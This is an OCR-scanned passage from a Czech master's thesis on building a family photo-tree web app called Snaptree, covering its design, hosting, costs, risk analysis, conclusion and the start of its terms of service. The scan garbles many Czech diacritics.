castecné podle osobniho vkusu, ale hlavné tak, aby vynikal jak na svétlém, tak i tmavém

podkladu.

Primarni barvy jsem jesté doplnil jejich svétlejSimi variacemi, a také zelenou, modrou

a Cervenou pro zduraznéni a podvédomé pochopeni rtiznych informacnich hlaseni. Pfi
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vybéru pisma jsem se rozhodl pro Noto Sans, které je dobfte Citelné pii jakékoliv velikosti,

je volné dostupné a podporuje vSechny svétové jazyky.

Noto Sans

Rodina pisem Noto je volné Sifitelna. Zamérem autora bylo vytvofit pismo, které
bude obsahavat viechny znaky pokryté snadardem Unicode, a umoZnit tak zobra-
zeni textu v mnoha jazycich v jednotném vzhledu.

PFi zachovani spravného kontrastu je pismo dobfe €itelné v nadpisu i bloku textu.

Obrazek 12: Ukazka pisma Noto Sans. (Zdroj: vlastni zpracovéni)

3.11.2 Prostredi

Grafické rozhrani jsem navrhoval tak, aby se v ném Slo jednoduSe orientovat, a bylo
snadné na ovladani na Siroké skale piistroju, které nabizeji funkci internetového prohlizece.
Znamena to napiiklad, Ze na menSich obrazovkach je tieba dbat na to, aby ovladaci
prvky byly dostate¢né velké pro manipulaci prstem. To ovSem zase omezuje mnozstvi
zobrazeného obsahu, a tak je tfeba u kazdé sekce zvazit na jakou stranu je lepsi se priklonit
- bud omezit obsah a maximalizovat pouZzitelnost, nebo se snaZit prezentovat vice obsahu

na ukor pouZitelnosti.

3.11.3 Ovladaci prvky

V3sechny ovladaci prvky jsem se snaZzil graficky upravit tak, aby zapadaly do konceptu
celé Aplikace, aniZ by byla interakce s nimi nepraktickd, nebo zdlouhava. Jako piiklad
takového snaZzeni uvedu formulafovy prvek pro vybér ze seznamu, jehoZ fungovani na
mobilnich zafizenich jsem nijak neupravoval, abych tak nezasahoval do specifika systému,
na kterém je s nim manipulovéano. Napfiklad systémy Android a iOS vybér hodnoty sice

oba tesi rozdilné, nicméné oba nabizeji nejpraktictéjsi feseni pro ovladani prstem.

3.11.4 Pracovni nazev a logo

Kazdy projekt, ktery ma alespon nazev a zdkladni identitu lze 1épe uchopit a realizovat.

Aplikaci jsem pracovné pojmenoval Snaptree - spojeni anglickych slov snap (vyfotit,
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zachytit) a tree (strom, ndvaznost na rodokmen, rodinu a genealogii).

Obrazek 13: Barevné varianty loga. (Zdroj: vlastni zpracovani)

Logo Aplikace ma predstavovat cocku objektivu fotoaparatu, kde je svételny odlesk na
pravé strané deformovan do tvaru listu. Je to dalsi navaznost na fotografie zachycujici Cleny
rodiny - listy rodokmenu. Névrh spliiuje podminky jednoduchosti, zapamatovatelnosti,

nezdavislosti na barevném provedeni a kombinaci svétlého/tmavého pozadi.

3.12 Vybér hostingu a nasazeni

Do ostrého provozu sice Aplikace jesté n¢jakou dobu nepiijde, ale minimalné pro potieby

testovani je tfeba ji zprovoznit u nékterého z poskytovateld hostingu.

Podle kritérii zmitiovanych v Teoretickych vychodiscich jsem se rozhodl vyuzit sluzeb
americké spolec¢nosti DigitalOcean, Inc., a po ptlro¢ni spolupraci jsem nenasel zadné
negativum, které by mé od této volby odrazovalo. Spole€nost je velmi transparentni, ma

vstficnou zdkaznickou podporu a bohatou znalostni databazi.

3.12.1 Co firma nabizi?

Poskytuji tzv. “droplets”, coz jsou rezervované vypocetni oddily serveru, jejichZ vykon
Ize upravit podle potieb, a to i za béhu, coz je v pifipadé¢ webové sluzby dilezity aspekt.
Necekam sice, ze v Aplikaci dojde k nahlé explozi uzivatelské baze, ale je dobré byt

zdzemim pripraven i na tuto moznost.

Zéakaznik si miZe té€chto droplets vytvorit vice, a mit napiiklad jednu vykonnostné silnéjsi
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Vv s

pro naro¢néjsi vypoclty, a druhou slabsi pro poskytovani obsahu. U vSech uprav vykonu

jsou uvedeny i ceny, takze si Ize snadno spocitat ndklady pro provoz sluzby.

PPN

Spolecnost nabizi Sirokou nabidku operacnich systému pro chod serveru, a dokaze je
automaticky nainstalovat a nakonfigurovat. Samoziejmosti je pak pristup pres SSH pomoci

konzole.

Sidlo firmy se sice nachdzi ve Spojenych statech americkych, ale sva datacentra maji po
celém svété, takze dokazZu pii pfipadné expanzi do zahrani¢i umistit Aplikaci co nejblize
cilovému trhu. V Ceské republice sice Z4dné datacentrum nemaji, ale geograficky nejblizsi
stoji v némeckém Frankfurtu, takZe data mezi serverem a klientem nemusi cestovat

extrémné dlouho.

Za jednu z nejlepSich nabizenych funkci povazuji pokrocilé monitorovani provozu zakaznic-
kych droplets. Z nabidky si lIze vybrat jednu ¢i vice metrik, jako jsou tieba zéteZ procesoru,
objem pfichozich/odchozich dat, vyuziti paméti aj., sledovanou minimalni/maximalni
hodnotu a asovy interval, a DigitalOcean mé v ptipadé prekroceni téchto hodnot informuje
nejen na e-mail, ale i na aplikaci Slack, takze se o pfipadném problému dozvim okamZité.

Samoziejmosti jsou pak statistiky provozu za urcité obdobi (azZ mésic dozadu).

Poskytovatel také garantuje 99,9% dostupnost, sviij systém ma fadné zabezpeceny, a ma
zavedena opatieni minimalizujici dopad DDoS ttokd. Pro dodate¢né zabezpeceni vuci
tomuto druhu utoku by bylo tieba vyuZzit nabizené sluzby Load Balancing, ktera pfi zjiSténi
vétsi zatéZe na jednom droplet pfesméruje uZivatele na méné vytiZzeny droplet a tim zmirni

dopad DDoS utoku.

3.12.2 Nasazeni Aplikace

Prvnim krokem bylo pfipravit prostfedi mého dropletu tak, aby bylo pokud mozno identické
tomu, v jakém jsem Aplikaci vyvijel, a lokdln€ testoval. Obnaselo to instalaci opera¢niho
systému, serverového prostiedi, podpory jazyku a databazového systému. Nésledné jsem
exportoval strukturu lokalni databaze vcetné relaci tabulek, a diky ni vytvoril produkéni

databazi.

Pomoci néstroje Git jsem pak zdrojové soubory nakopiroval na server, vytvoril soubor
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.prod, ktery Aplikaci iik4, Ze se jedna o produkéni prostiedi, a upravil pravidla v .htaccess

souboru.

3.12.3 HTTPS pomoci sluzby Let’s Encrypt

Zabezpeceny protokol HTTPS je dnes jiz velmi rozsiten, a nékteré prohliZece jej dokonce
zacinaji vyzadovat pro zptistupnéni nékterych potencidlné zneuzitelnych funkci. Pro
splnéni zakladnich podminek nasStésti neni nutné zakoupit specificky certifikat, ale staci
vyuzit napiiklad sluzbu Let’s Encrypt, kterd zdarma nalepkuje” domény vlastnim SSL
certifikdtem. Ten zajisti nejen maximalni podporu funkci prohliZece, ale také uréitou mirou

prispéje k bezpecnosti komunikace mezi uzivatelem a Aplikaci diky Sifrovanému spojeni.

3.12.4 Pocateéni chod

Spusténi Aplikace jsem rozdélil na tfi etapy. V prvni Casti bude vyuzivana pouze v
ramci mé rodiny, kdy bude aktivni pouze jeden rodokmen, a jakdkoliv odhalend chyba
bude jednoduse opravitelnd. Druhym krokem bude pouZivani Aplikace nabidnout mému
blizkému okoli, zhruba 10-20 pokrevné nespojenym lidem, ktef{ bud potvrdi, nebo vyvrati
mé odhady o nutném hardwarovém zdzemi. Pfedpokladam totiz, Ze droplet v konfiguraci,
kterou ted disponuiji, posta&i pro 50 az 100 uZivateld. V posledni etapé planuji po ddvkach

oteviit registrace vSem zdjemclim.

3.13 Budouci rozsireni

Aplikace ve stavu, v jaké jsem ji popsal, sice nabizi mnoho uzite¢nych funkci, nicméné
nékteré dalsi funkce jsem jiZ z diivodu nedostatku ¢asu nestihl implementovat. Jako kazda
Jina sluzba, i ta moje se musi kontinualné posouvat kuptedu, a nabidnout s asem nové

funkce.
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3.13.1 Vice osobnich tidaju a pokrocilé statistiky

Osobni udaje vypliované v Aplikaci jsou zdkladniho charakteru, a lze diky nim tedy
tvorit pouze zakladni statistiky. Rad bych uzivateliim nabidl moZnost vyplnit napiiklad
nasledujici informace: barva oci a vlast, nejvyssi dokoncené vzdélani, pfi¢ina umrti, nebo

misto posledniho odpocinku.

Diky témto informacim by §lo pro uZivatele pripravit pokrocilé statistiky, diky kterym by

mél lepsi prehled o struktufe a sloZeni jeho rodokmenu.

3.13.2 Spojeni rodokmenti

Tato funkce je na pocatku fungovani Aplikace zbytecnd, a hodit se bude az pii vétSim
poctu aktivnich rodokment. Teoreticky miZe nastat situace, kdy dva uzivatelé ze dvou
rozdilnych rodokment vyplni informace o osobé (napiiklad zesnuly pradédecek), a tyto
informace se budou z urcitého procenta prekryvat. Nékteré detaily si mohou pamatovat
mlhavé, naptiklad jen z vypravéni, ale Aplikace by mohla procentualné vypocitat shodu, a
oba uZivatele informovat, Ze s urcitou mirou jistoty oba popisuji stejnou osobu, a dat jim
moznost dva rozdilné rodokmeny spojit do jednoho, a tieba tak sjednotit ztracené odnoze

jedné rodiny.

Implementace této funkce je vSak ndrocnd - uz jen vypocet shody by kladl vysoké néaroky
na vypocetni silu. Samotny proces spojeni dvou rodokment je pak, co se logiky a procest
tyCe, jesté¢ komplikovan€jsi, a nedokazu si predstavit, ze by tvorbu jeho konceptu mél na

starosti jeden Clovék.

3.13.3 Identifikace osob

Aplikace zatim sice dokaZe na fotografii najit a oznacit tvar, ale zatim neumi podle této
tvare urcit o jakou osobu se jednd. S touto funkci jsem experimentoval, a teoreticky ji 1ze
realizovat v prostiedi prohliZze¢e, nicméné af uz je piistroj, na kterém prohlize¢ funguje
jakkoliv silny, pofdd nemuze konkurovat rychlosti vypoctu algoritmi napsanych napiiklad

v jazyce C.
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Do budoucna vsak s touto funkci pocitdm, a i proto uz ted vSechny vyfezy tvaii oznacenych

osob ukladam, abych pii implementaci funkce mél data vhodna pro strojové uceni.

3.13.4 Rozdéleni aplikace

V soucasném stavu Aplikace je rozdélend na front-end a back-end ¢ést, ale obé C4sti jsou
uloZené na jednom misté, a maji také spole¢ny repozitaf. Pro zjednoduSeni a zprehlednéni

budouciho vyvoje by bylo dobré obé ¢asti rozdélit tplné.

Navic bych pro front-endovou ¢ast rad vyuzil néktery ze stale popularnéjSich JavaScrip-
tovych frameworkd, jako je Angular nebo React, které vyvoj neuvéfitelné zjednodusuji, a
dovoluji také tvofit webové aplikace, které se chovaji skoro identicky k aplikacim béZicim

na mobilnich zafizenich, v¢etné notifikaci, geolokace a dalSich funkci.

Tento solidné postaveny front-end bych doplnil back-endem fungujicim na architekture

REST, kterou definoval Roy Fielding ve své dizertacni préaci v roce 2000.

3.13.5 Prechod na protokol HTTP/2

s s

Dalsi verze ptivodniho HTTP protokolu pfinasi fadu zmén a vyhod, mj. napiiklad paralelni
ptrenos dat mezi klientem a serverem. To v praxi znamend, Ze puvodni scénai pozadavek-
ekéani na odpovéd-odpovéd se ted provadi najednou, a jednotlivé pozadavky tak nemusi
Cekat ve fronté, a nebrani tak napiiklad vykresleni obsahu. Samotni autoti dokonce do-
porucuji rozdélit velké pozadavky na co nejmensi, a plné tak vyuzit zvySeni rychlosti, které
nové verze protokolu nabizi. Pfechod na tuto verzi neni naro¢ny z pohledu serveru, a je
dokonce podporovan vSemi modernimi prohliZeci. Problémem vs$ak miize byt architektura
Aplikace, ktera je stavénd na minimalizaci pozadavkd, a jejich slu¢ovani do vétsich celka.
Zména protokolu si tak bude Zadat velky zdsah do zdrojového kédu Aplikace, a to s sebou

ponese dal$i naklady.
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3.14 Ekonomické zhodnoceni a financovani

Jako u kazdého projektu, i v pfipadé vyvoje Aplikace je tfeba zhodnotit Cas strdveny u
jednotlivych Cinnosti, a ndvratnost této investice. Veskery ¢as vloZeny do tohoto projektu
byl muj, takZe si miizu uréit hodinovou sazbu podle vlastniho uvazeni, vzhledem ke svym

zkuSenostem, oborovému priméru, a urovni vysledného produktu.

3.14.1 Naklady na vyvoj

Rozumi se tim nejen ¢as vynaloZeny na samotné programovéni, ale také na konceptudlni
ukoly pfedchézejici samotny vyvoj, jako je navrh struktury Aplikace, nebo tvorba grafického
navrhu. Spravné bych mél rozliSovat mezi naklady a vydaji - napiiklad mij Cas je naklad,
ale prondjem domény je jiz vydaj, ovSem pro zjednoduseni budu ddle pouZivat pouze

pojem “ndklad”. Ndklady jsem shrnul v nasledujici tabulce:

Naklad nebo vydaj Cas Cena | Celkem
Programovani (back-end 61 hod. | 600 K¢ | 36 600 K¢
Planovani a administrativa 32 hod. | 400 K¢ | 12 800 K¢

Hosting u DigitalOcean, Inc. | 6 més. 150 K¢ | 900 K¢

Prondjem domény snaptree.cz | 1 rok 121 K¢ | 121 K¢é

Naklady obétované prilezitosti | 175 hod. | 308 K¢ | 53 900 K¢

CELKEM - - 310 921 K¢

Tabulka 4: Naklady spojené s vyvojem Aplikace. (Zdroj: Vlastni zpracovani)

Pri vypoctu nakladd obétované piileZitosti jsem uvazoval nasledovné: sledovanym nakla-
dem je volny €as. Volny Cas straveny odpocCinkem ma pro mé nevycislitelnou hodnotu,
tudiZ nemtiZu tuto aktivitu v kalkulacich zahrnout. Misto néj jsem vybral jinou innost, a
to presCasy v zaméstnani, které uz jdou 1épe uchopit. Naklady obétované prileZitosti jsou
rovny Casu straveném na vyvoji, ale redln€¢ nemuizu tvrdit, Ze bych mohl vSechen tento
Cas stravit v zaméstnani nad rdmec povinné dochdzky, protoZe by se to diive nebo pozdéji
negativné podepsal na mém zdravi. Z tohoto dlivodu jsem pfi vypoctech pouzil pouze

zhruba polovinu ¢asu vénovanému na vyvoj.

68



Z vlastni zkuSenosti vim, Ze cena za hodinu programovéni nebo kédovani je vysoce
podhodnocend, nicméné tato hodinova sazba byva v agenturdch vétSinou rozdélena jak
mezi samotné vyvojare, tak 1 mezi management a obchodniky. V tomto pfipadé jde
hodinové sazba pfimo vyvojdfi, takZe je celkovy ndklad na vyvoj Aplikace niZsi, nezZ kdyby

ho méla realizovat nékterd z agentur.

Jesté také musim zminit, Ze cena za hosting u spolecnosti DigitalOcean, Inc. se odviji od
aktualniho kurzu Koruny ¢eské vii¢i Americkému dolaru, a udana cena 150 K¢ mési¢né je

prumér za posledniho pil roku.

3.14.2 Budouci naklady

Budouci néklady jsem rozclenil podle etap, jak jsem je popsal diive. Prvni etapa s sebou
teoreticky muiZe nést nejvice nakladd, jelikoz pravdépodobnost vyskytu chyb, a nutnost

jejich oprav, je zde nejvyssi. Naklady na hardwarové zazemi budou porad stejné, stejné

jako naklady obétované prilezitosti. Tuto fazi odhaduji na tii mésice.

Naklad nebo vydaj Cas Cena | Celkem

Vyvoj 60 hod. | 750 K& | 45 000 K&

Hosting u DigitalOcean, Inc. 3més. | 150 K¢ | 450 K¢é

Naklady obétované prilezitosti | 30 hod. | 308 K& | 9 240 K¢

CELKEM - - 54 690 K¢

Tabulka 5: Naklady za prvni ¢tvrtleti testovaciho provozu Aplikace. (Zdroj: Vlastni zpracovani)

V této dobé do ndkladi jesté nezapocitavam rocni prondjem domény, protoze ten jiz byl

zapocitan do pocatecnich nakladu.

Druhd etapa jiz bude méné ndkladna, nebot z mé strany nebude nutny tak Casty zédsah do
nitra Aplikace, a budu se jiZ moci zaméfit na prvni sbér a analyzu dat z provozu. Zde si jiZ
také budu moci udélat prvni redlny odhad toho, jaké hardwarové zazemi budu potiebovat

pro tieti etapu. Zde se také zdrzim zhruba tfi mésice.
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Naklad nebo vydaj Cas Cena | Celkem

Vyvoj 30 hod. | 750 K& | 22 500 K&

Hosting u DigitalOcean, Inc. 3més. | 150 K¢ | 450 K¢é

Naklady obétované pfilezitosti | 15 hod. | 308 K¢ | 4 620 K¢

CELKEM - - 27 570 K¢

Tabulka 6:

Naklady za druhé ctvrtleti testovaciho provozu Aplikace. (Zdroj: Vlastni zpracovani)

Treti etapa bude znamenat ostré spusténi Aplikace, a jeji pravidelné ndklady a vynosy se

v této chvili tézko odhaduji. Nicméné pro celkové zhodnoceni tohoto projektu si mizu

dovolit pfedpokladat vysi nékterych budoucich ndkladd. Jako ¢asové obdobi jsem zvolil

znovu prvni tii mésice.

Naklad nebo vydaj Cas Cena | Celkem

Vyvoj a administrace 45 hod. 750 K¢ | 33750 K¢

Hosting u DigitalOcean, Inc. 3 més. 300 K¢ | 900 Ké

Prondjem domény snaptree.cz | 1 rok 121 K¢ | 121 K¢

Naklady obétované prilezitosti | 22,5 hod. | 308 K¢ | 6 930 K¢

CELKEM - - 41 701 K¢

Tabulka

7: Naklady za prvni ¢tvrtleti ostrého provozu Aplikace. (Zdroj: Vlastni zpracovani)

Jak je z tabulky vyse patrné, prvni tfi mésice ostrého provozu s sebou nesou dalsi ndklady.

Kromé prodlouzZeni prondjmu domény pocitam také se zdvojndsobenim vykonu serveru -

pesimisticky odhad naro¢nosti pfi po¢tu zhruba 100 aktivnich uZzivateli. Po zhruba deviti

mésicich dalSich ndklada se uz celkova cena projektu vysplhala na zhruba ptil milionu

korun. S po

¢ateCnimi ndklady jsem vSak uz od zrozeni myslenky Aplikace pocital, a v této

fazi uz se konecné objevi i prvni piijmy.

3.14.3 Financovani Aplikace

Aplikace uzivatelim nabidne tfi typy rizné zpoplatnénych ucéti. Kromé zkusebniho uctu,

ktery zpoplatnén nebude, dostanou uZzivatelé na vybér omezeny a plny ucet. Mésicni
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poplatek za omezeny ucet jsem stanovil na 299 K¢, a za plny ucet na 699 K¢. Poplatky za
placené ucty bude moci uZivatel uhradit pomoci platebni brany GoPay, ale i jeji vyuZivani

je zpoplatnéno a tento fakt je tfeba brat v potaz pti dalSich vypoctech.

V prvnich tfech mésicich provozu jsem si urcil za cil mit alespori 100 aktivnich uZzivateld,
coz je velmi konzervativni odhad. Odhaduji také, ze pouze 19 % z nich bude vyuZzivat

omezeny ucet, 2 % plny ucet a zbylych 79 % Aplikaci pouze vyzkousi.

Typ uctu Cas Pocet | Cena | Celkem
Omezeny tcet | 3 més. | 19 299 K¢ | 17 043 K¢
Plny ucet 3més. | 2 699 K¢ | 4194 K¢
CELKEM - - - 21237 K¢

Tabulka 8: Odhadované ¢tvrtletni trzby pri 100 uzivatelich. (Zdroj: Vlastni zpracovéni)

Platebni brana GoPay pfi mési¢nim obratu pod 15 000 K¢ pozaduje 2,2 % + 3 K¢ z kazdé
transakce, a 190 K& mési¢né bez ohledu na pocet transakci. Celkovou utrZenou ¢astku tak

jesté je tfeba poniZit o tyto poplatky.

Polozka Cas Pocet | Poplatek | Celkem
Omezeny ucet 3meés. | 19 9,578 K& | 546 K¢
Plny ucet 3més. | 2 15,378 K¢ | 277 Ké
Pausal za vyuziti brany | 3 més | - 190 K¢ 570 K¢
CELKEM - - - 1393 K¢

Tabulka 9: Ctvrtletni poplatky za pouZziti platebni brany GoPay. (Zdroj: Vlastni zpracovani)

Pti odecteni poplatku za pouzivani platebni brany je ptfijem z provozu Aplikace za prvni
Ctvrtleti zhruba 19 844 K¢. Na grafu niZe jsem zakreslil dvé linky: ob€ ukazuji Casovy
horizont ndvratnosti investice. Prvni plati za pfredpokladu, Ze by Aplikace po celou dobu
stagnovala na 100 uzivatelich, a vlozené ndklady by se vratily zhruba po Sesti letech.
Druha plati za predpokladu konzervativniho ristu 100 novych uzivateli kazdy kvartal

(pocinaje koncem druhého kvartédlu, zhruba 1 novy uZivatel denné) - v takovém pfipadé by
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se investice vrétila jiZ ve druhé poloviné druhého roku, a to i se zapocitanymi dafiovymi
odvody a navySenim serverové kapacity. Pro dosaZeni takovéhoto riistu uzivatelské baze jiz
vSak bude potieba vynaloZit také dalsi prostfedky na propagaci, a to bude mit za néasledek

posunuti bodu ndvratnosti az na konec druhého roku.

/ ~

Zisk [K&)

0 1 2 3 4 5 6

Doba provozu Aplikace [rok]

@ Staljch 100 uzivateld @ Nar(st 100 ufivateld kvartalng

Obrazek 14: Graf navratnosti investice do vyvoje Aplikace. (Zdroj: vlastni zpracovani)

3.15 Rizika projektu

Do této chvile jsem tvorbu Aplikace popisoval realisticky az optimisticky, ale kazdy projekt
s sebou nese urcita rizika, a pro zmirnéni jejich dopadu, nebo eliminaci, je nutné pfemyslet

pesimisticky, a tyto rizika alespon identifikovat.

3.15.1 Definice rizik

U kazdé polozky analyzy uvadim nazev rizika, popis, uroven dopadu (1-10) a pravdépodob-
nost (1-10). Vynisobenim hodnot trovné dopadu a pravdépodobnosti jsem ziskal tzv.
vyznamnost, kterd napovida kterd z rizik je tfeba sledovat, zmirnit, nebo eliminovat

prioritng, nebot maji nejv&tsi vliv na potencidlni krach celého projektu.
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Ozn. | Riziko Pst. | Dopad | Vyzn.
R1 Pomaly rist uzivatelské databaze 4 6 24
R2 Penetrace a tunik dat 3 10 30
R3 Likvidaéni dtok 3 8 24
R4 Vysoce nevyhodny kurz koruny vici dolaru | 2 4 8
RS Ekonomicka krize 2 9 18
R6 Pravni potize 4 10 40
R7 | Unik dat zevnitf 319 27
RS Dlouhodoba nedostupnost sluzby 2 10 20
R9 Ukoncenti sluzby 1 10 10
R10 | Podcenéni serverového zdzemi 4 8 32
R11 | Ukonceni provozu hostingu 1 3 3
R12 | Exploze uZivatelské baze 6 7 42

Tabulka 10: Seznam rizik projektu a jejich vyznamnost. (Zdroj: Vlastni zpracovéni)

Takto definovana rizika a hodnoty jejich vyznamnosti jsem pfenesl na soufadnicovy graf,
diky kterému lze vyznam rizik lépe pochopit, a pfijmout presnéjsi opatreni. V idedlnim
projektovém procesu jsou rizika a jejich parametry navrhovany nékolikaclennym tymem,
aby se tak eliminovaly osobni preference. Bohuzel v tomto pfipadé jsem na tento tkol

sam, a musim ho provést podle svého nejlepSiho uvazeni.
Graf je rozdélen podle zavaznosti na Ctyfi kvadranty:

e zeleny kvadrant predstavuje bezvyznamna rizika. Takova rizika jsou definovana
nizkou pravdépodobnosti i dopadem, a ve vétSin€ piipadi je doporuceno je pod-

stoupit;

e 7luty kvadrant (horni) pfedstavuje bézna rizika, ktera jsou vysoce pravdépodobna,

ale jejich dopad neni obrovsky. Tento druh rizik je doporuceno eliminovat;

e 7luty kvadrant (dolni) pfedstavuje vyznamna rizika, které je nutné eliminovat i

presto, Ze nejsou prili§ pravdépodobna;

e Cerveny kvadrant predstavuje kriticka rizika, které se nejenze skoro jist€ projevi, ale
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také budou mit vysoce negativni dopad na projekt, a je proto nezbytné je eliminovat.
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Obrazek 15: Mapa rizik projektu Aplikace. (Zdroj: vlastni zpracovani

3.15.2 Opatieni

Podle mapy rizik bude nutné nasadit riznd efektivni opatieni pii 10 ze 12 rizik. Zbyla dvé

rizika budou podstoupena.
R1: Pomaly rust uzivatelské baze

Prijaté opatreni: Uzivatele pro druhou testovaci fazi vybrat tak, aby méli co nejSirsi
socidlni zabér, a byli ochotni Aplikaci §ifit dal. Druhou ¢asti opatfeni je pak udé€lat na

uzivatele dobry prvni dojem.
Vyznamnost po prijatém opatieni: Pravdépodobnost 2, Dopad 5
R2: Penetrace a unik dat

Nechat Aplikaci podrobit profesiondlnimu hloubkovému penetracnimu testu. Ptistupové

udaje do databaze, hostingu a dalSich kritickych mist (napfiklad heslo) vygenerovat
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ndhodné, aby nemohlo dojit k jeho uhodnuti. Do kritickych ¢asti Aplikace pfistupovat ze

zabezpecenych pristroja.
Pravdépodobnost: 1, dopad: 8.
R3: Likvidacni utok

Zalohovat databazi, uzivatelské soubory a zdrojovy kéd, a to hned na tfech rtiznych

mistech.
Pravdépodobnost: 3, dopad: 3.
R5: Ekonomicka krize

Proti nahlému tbytku platicich uzivatelti naplanovat scénai pro rychlé sniZeni serverovych
kapacit, a také vytvofit krizovy fond, ze kterého se budou Cerpat finance az do dalsiho

obdobf rastu.
Pravdépodobnost: 2, dopad: 6.
R6: Pravni potize

Konzultovat pribézné vSechny upravy Aplikace s odbornikem na prava, hlavné v oblasti
ochrany osobnich udaju. S jeho pomoci vytvofit neprustielné Vseobecné obchodni

podminky. Pfipravit si na n€j otazky, a diskutovat o feSeni potencidlnich pravnich potizi.
Pravdépodobnost: 2, dopad: 5.
R7: Unik dat zevnit¥

Funkce administritora Aplikace dét jen osobam, které byly fadné provéfeny a proSkoleny.

Sledovat pristupy do databaze.
Pravdépodobnost: 2, dopad: 4.
R8: Dlouhodoba nedostupnost sluzby

Vytvofit pldn na implementaci zdloZni verze Aplikace, véetné moznosti rychlého prepnuti

v pfipadé dlouhodobé odstavky primarniho serveru.

Pravdépodobnost: 2, dopad: 4.
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R9: Ukonceni sluzby

Ve Vseobecnych obchodnich podminkach informovat uZivatele o pribéhu pripadného

zruSeni Aplikace. Umoznit hromadnou migraci uZivatelskych dat, a po rozumné dobé také

jejich bezpecné odstranéni.
Pravdépodobnost: 1, dopad: 5.

R10: Podcenéni serverového zazemi

Pribézné sledovat navstévnost, pocet konverzi uzivatelt a vykon serveru. Vytvorit predik-

tivni model, ktery podle téchto dat vypocita optimalni serverovou konfiguraci.

Pravdépodobnost: 1, dopad: 8.

R12: Exploze uzivatelské baze

Zajisténi funkce vypnuti registraci, vytvoreni planu pro rapidni zvySeni serverovych kapacit

za chodu.

Pravdépodobnost: 6, dopad: 2.

10

A 10
9
8
7
K 6 O R12
)
Q
o
kel
< 5
>O
kel
>
[
a 4
3 ®R3
R4 | oy
2 OR7 @.. OR5
R8
R2
R11
1 o @ R9 O 0
0 1 2 3 4 5 6 8
Dopad

Obrazek 16: Mapa rizik po aplikovani opatreni. (Zdroj: vlastni zpracovani
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Jak je na grafu vyse dobie vidét, diky provedenym opatfenim se cely obsah posunul doleva
z toho diivodu, Ze se povedlo bud sniZit pravdépodobnost, nebo dopad rizika. Riziko & 12
se podarilo presunout z ¢erveného do Zlutého kvadrantu, a nékolik dalSich rizik pfeslo ze
Zlutého do zeleného. V zeleném kvadrantu se nachdzejici rizika budou podstoupeny, zbylé

budou jednotlivé posuzovany.
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ZAVER

Cilem této prace bylo navrhnout a vytvorit webovou aplikaci pro spravu rodinnych fo-
tografii s dirazem na bezpecnost a transparentnost v oblasti manipulace s osobnimi udaji.
Aplikace méla byt pouzitelnd na jakémkoliv zafizeni s obrazovkou, prohliZzeem a pfipoje-

nim k internetu, a méla nabizet 1 automatickou detekci tvare na nahranych fotografiich.

V prvni ¢4sti jsem si definoval Cile, které ma tato diplomova prace splnit, a po celou dobu

jsem se k témto cilim vracel, a porovnaval je s obsahem.

Nasledné jsem v Teoretickych vychodiscich popsal vSechny technologie, praktiky, metody
a pojmy, které byly pozdéji vyuZity, nebo alesponi zminény.

s ¥ 2

Ve tieti Casti, nazvané Analyza soucasného stavu, jsem Sel do hloubky feSeného problému, a
popsal jsem marketingovy prizkum, provedl analyzu konkurenc¢niho prostfedi, a definoval

modelové uZzivatele Aplikace.

Posledni, nejdiilezitéjsi ¢ast popisovala samotny navrh a tvorbu Aplikace. Nejdfive jsem
popsal vyvojové prostiedi, ve kterém jsem se pohyboval, a také nékteré pouzivané kon-
vence. Nasledoval vycet databazovych tabulek potfebnych pro chod, a také jsem rozebral

architekturu Aplikace, a poté jsem uvedl seznam pouZitych externich knihoven a API.

Dalsim bodem byla definice uzivateld, jejich autentizace a autorizace, a také popis vSech

vvvvvv

s Y 7z

v administracni ¢asti. Nahravani fotografii jsem popsal podrobnéji, jelikoz je stéZejni
casti Aplikace. Nasledoval vycet druhi nabizenych uZzivatelskych uétl, zminka o zptisobu
a prubéhu zalohovani, a popsal jsem také grafické prvky, a jejich vyznam. U nasazeni
Aplikace jsem uvedl jakého poskytovatele jsem si vybral a pro¢, a z jakych krok se tato

¢innost sklddala. Lehce jsem také zabredl do definice budoucich pldnovanych funkci.

Zavér Vlastniho navrhu feSeni se vénoval ekonomickému zhodnoceni a budoucimu finan-
covani Aplikace. Povedlo se mi ocenit Cas striveny vyvojem, ktery spole¢né s dalSimi
polozkami tvoril celkové ndklady na vyvoj. V &asti tykajici se financovani jsem pak
predvedl ndvratnost investice do projektu pii pesimistickém, a lehce optimistickém scénéfi,

a na uplny zavér jsem jesté provedl analyzu rizik.
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V poslednich fadcich prace si dovolim tvrdit, Ze se mi povedlo splnit nastavené cile, a

vytvoftit praktickou webovou aplikaci s dobrym potencidlem pro vyuziti.
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VSeobecné obchodni podminky

Vzéajemnd prava a povinnosti UZivatele a Provozovatele pramenici z uZivani Aplikace se

fidi témito obchodnimi podminkami:
1. Definice
1.1. V téchto obchodnich podminkéch:

1.1.1. ”Provozovatel” je Bc. Jan Machac, datum narozeni 27. 9. 1991, mistem podnikani

v Brné.

1.1.2. ”Aplikace” znamena internetovou aplikaci s ndzvem ”Snaptree”, mezi jejiZ hlavni
funkcionality patii poskytovéni sluzeb fotografického rodokmenu a ktera je dostupna z

adresy https://www.snaptree.cz.
1.1.3. ”VOP” znamena tyto VSeobecné obchodni podminky.

1.1.4. ”Smlouva” znamena smlouvu uzavienou mezi UZivatelem a Provozovatelem,
jejimz predmétem je poskytnuti Licence k uZivani Aplikace UZivateli za podminek uve-

denych v téchto VOP.

1.1.5. ”Licence” znamend nevyhradni licenci k uzZivani Aplikace za podminek uvedenych

v téchto VOP.

1.1.6. ”Uzivatel” znamenad jakoukoliv pravnickou nebo fyzickou osobu odli§nou od Provo-

zovatele, kterd uziva Aplikaci.

1.1.7. ”Uzivatelsky acet” znamena nevefejnou cast Aplikace, ktera je uzivateli pfistupna

po zadani Prihlasovacich udaju.

1.1.8. “PrihlaSovaci idaje” znamenaji unikatni kombinaci ptihlasovaciho jména UZivatele
a hesla zvoleného Uzivatele, které UZzivatel ulozi do databaze Aplikace pii zfizovani
UZivatelského tictu prostrednictvim Aplikace a/nebo UZivateli automaticky vygenerovaného

Aplikaci.
2. Proces uzavieni smlouvy o uzivani Aplikace

2.1. Zobrazeni tlacitka s ndzvem “Registrovat se” v uZivatelském prostfedi Aplikace je



navrhem na uzavieni Smlouvy ze strany Provozovatele.

2.2. Kliknuti UZivatele na tlacitko "Dokoncit registraci” je bezvyhradnym piijetim navrhu

na uzavieni Smlouvy ze strany UZivatele a timto tkonem je uzaviena smlouva.

2.3. Kliknutim na pole (tzv. checkbox), které obsahuje popis ve znéni “Registraci do
sluzby souhlasim s VSeobecnymi obchodnimi podminkami” a naslednym kliknutim na

tlacitko ve smyslu 2.2 uzivatel vyjadiuje souhlas s t€mito VOP.
